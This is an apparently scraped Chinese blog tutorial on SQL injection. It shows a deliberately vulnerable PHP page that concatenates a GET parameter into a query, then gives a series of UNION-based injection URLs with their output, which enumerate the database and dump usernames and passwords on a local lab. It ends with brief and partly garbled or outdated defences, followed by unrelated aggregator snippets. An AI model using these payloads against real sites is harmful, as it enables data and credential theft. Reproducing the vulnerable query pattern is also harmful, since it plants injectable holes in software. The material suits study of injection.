sql_injection第一发

1、代码篇

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET[‘id‘])){
    $id=$_GET[‘id‘];
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id=‘$id‘ limit 0,1";
    $res=mysql_query($sql);
    $row=mysql_fetch_array($res);
    if($row){
        echo "你获取的数据:<br>";
        echo "id:".$row[‘id‘]."<br>";
        echo "username:".$row[‘username‘]."<br>";
        echo "password:".$row[‘password‘]."<br>";
    }
    else{
        echo "mysql_query error".mssql_error();
    }
}
else{
    echo "请输入id";
}
?>

2、注入篇

http://localhost/pentest/sql/sql_get_id.php?id=1

你当前输入id:1
你获取的数据:
id:1
username:admin
password:pass

构造sql注入语句:

http://localhost/pentest/sql/sql_get_id.php?id=1‘  --+

你当前输入id:1‘ --
你获取的数据:
id:1
username:admin
password:pass

我们就可以进行各种各样的查询

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select @@datadir,database(),version() --+

你当前输入id:1‘ and 1=2 union select @@datadir,database(),version() -- 你获取的数据:id:D:\wamp\bin\mysql\mysql5.5.20\data\username:bloodzeropassword:5.5.20-log

这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;

好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select current_user(),2,3 --+

你当前输入id:1‘ and 1=2 union select current_user(),2,3 --
你获取的数据:
id:[email protected]
username:2
password:3注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+

你当前输入id:1‘ and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
你获取的数据:
id:information_schema
username:2
password:3

注:我们可以通过改变limit 0,1的值来获取不同的值;limit m,n  m:表示从查询结果的第几条开始取;  n:表示取多少条;

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+

你当前输入id:1‘ and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
你获取的数据:
id:user
username:2
password:3

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select column_name,2,3 from information_schema.columns where table_name=‘user‘ limit 0,1 --+

你当前输入id:1‘ and 1=2 union select column_name,2,3 from information_schema.columns where table_name=‘user‘ limit 0,1 --
你获取的数据:
id:id
username:2
password:3

注:这里的表名如果执行不成功,可以更换为16进制

  附:小葵转换工具 提取码:yisi

http://localhost/pentest/sql/sql_get_id.php?id=1‘ and 1=2 union select id,username,password from user limit 0,1 --+

你当前输入id:1‘ and 1=2 union select id,username,password from user limit 0,1 --
你获取的数据:
id:1
username:admin
password:pass

3、防注入

对于php+mysql防注入:首先将magic_quotes_off的值设为On;

int型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET[‘id‘])){
    $id=$_GET[‘id‘];
    $id=intval($id);
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id=‘$id‘ limit 0,1";
    ……
?>

char型

<?php
error_reporting(0);
include("../conn.php");
if(isset($_GET[‘id‘])){
    $id=$_GET[‘id‘];
    $id=intval($id);
    /*
    $search=addslashes($search);
    $search=str_replace(“_”,”\_”,$search);   #过滤_
    $search=str_replace(“%”,”\%”,$search);   #过滤%
    */
    echo "你当前输入id:".$id."<br>";
    $sql="select * from user where id=‘$id‘ limit 0,1";
    $res=mysql_query($sql);
    ……
?>
时间: 2024-08-03 07:50:21

sql_injection第一发的相关文章

sql_injection第二发

1.代码篇 </html> <center> <form action="#" method="post"> 姓名:<input type="text" name="user"><br> 密码:<input type="text" name="pass"><br> <input type="

linux工作技能第一发:增删改查

新手第一发,在linux下面工作,首先必须得了解的必须是对文件系统的增删改查. 学习的第一条linux指令估计就是ll了,在centos下很友好,输入ll显示的信息还真是足够的丰富呀,知道他是别名,但为何debian不预先设好呢,搞得新手ls -l都敲的不是很习惯了. alias -p显示当前系统的别名列表,在centos下可以看到ll实际上就是"ls -l --color=auto"的别名,显示的信息比alias多的去了. 在debian下想爽爽的用ll又不想去修改配置文件,alia

第一发JAVA 窃喜一下

Problem C If We Were a Child Again Input: standard input Output: standard output Time Limit: 7 seconds   "Oooooooooooooooh! If I could do the easy mathematics like my school days!! I can guarantee, that I'd not make any mistake this time!!" Says

第一发SPFA(热浪)

397. [USACO Oct09] 热浪 ★☆   输入文件:heatwvx.in   输出文件:heatwvx.out   简单对比时间限制:1 s   内存限制:128 MB 第九題: 熱浪 [300分] [Rob Kolstad (傳統題目), 2009] 德克薩斯純樸的民眾們這個夏天正在遭受巨大的熱浪!!!他們的德克薩斯長角牛吃起來不錯,可是他們並不是很擅長生產富含奶油的乳製品.Farmer John此時以先天下之憂而憂,後天下之樂而樂的精神,身先士卒地承擔起向德克薩斯運送大量的營養冰

LOGSTASH再入门第一发

慢慢弄起来... 前年搞过,现在生疏了,再慢慢拾起来吧. 一些URL: https://www.elastic.co/downloads/logstash https://www.elastic.co/products/kibana http://kafka.apache.org/ https://www.elastic.co/products/elasticsearch https://www.gitbook.com/book/chenryn/kibana-guide-cn/details h

第一发

版本:2.7.8 python是解释型语言,执行一次翻译一次,选择用cpython作为解释器 输出: 1 print "Hello world" 2 #等同于 "Hello world" 3 4 #一般情况下都要在文件开头确定编码格式,写法如下 5 #!/usr/bin.python 6 # _*_ coding:utf-8 _*_ 7 8 #输出时,可以加u,来确保输入Unicode,例如: 9 print u"输出中文" 10 #输出结果:输

兽哥手打---&gt;第一发、PHP 变量

PHP 变量 0.0.1 创建声明变量 例子: <?php $x=5; $y=3; $z=$x+$y; eho $z; ?> 剖析:在php中,例如x,y,z 都称之为变量 PHP没有声明的变量,在赋值时被创建. 与代数相似,可以给x,y,z 赋值, 变量可以是很短的名称(如x和y ) 或者更具描述性的名称 如(nb,wcao,age,name....) PHP 变量规则: ●变量以$符号开始,后面跟变量的名称 ●变量名必须以字母或着下划线字符开始 ●变量名只能包含字母.数字.字符以及下划线(

7.30考试(第一发博文)

第一篇博文献给NOIP2015斗地主. 这道题为NOIP2015第一天第三题.属于爆搜类,没有任何算法,就是模拟加爆搜.由于有不同种打法,dfs分为好几层,本着先大后小便于剪枝的原则,先出顺子,再带牌,最后散着出. 首先,花色对结果无影响,其次大小王对结果是否有贡献只看是否出现其中之一,出现结果+1即可,未出现就不必管了(吐槽一下题目描述,没说四带二不算俩王,但测试点中确实不带).还有一点值得注意的是大小顺序,首先是2不算顺子,其次1比3~13都大,因此可以把大小统一减2,1.2改为12.13便

菜鸟第一发:jdbc多条件组合查询

注册了园子账号两个月了,今天刚开通博客,博客页面一片空白,对于有强迫症的我来说实在看得难受,刚好小菜鸟我最近做老师布置的课程设计需要组合查询,一开始我傻傻的拼sql语句,界面看起来乱七八糟啊,请教过老师后知道可以将表单获取的数据存进map中,再动态拼接sql语句.测试了一下发现我之前实在是太傻X了,哦马嘎! 这是我第一篇博客,记录最近的小心得,高手勿喷,谢谢. 表单处理 1 <form action="" method="post"> 2 编号:<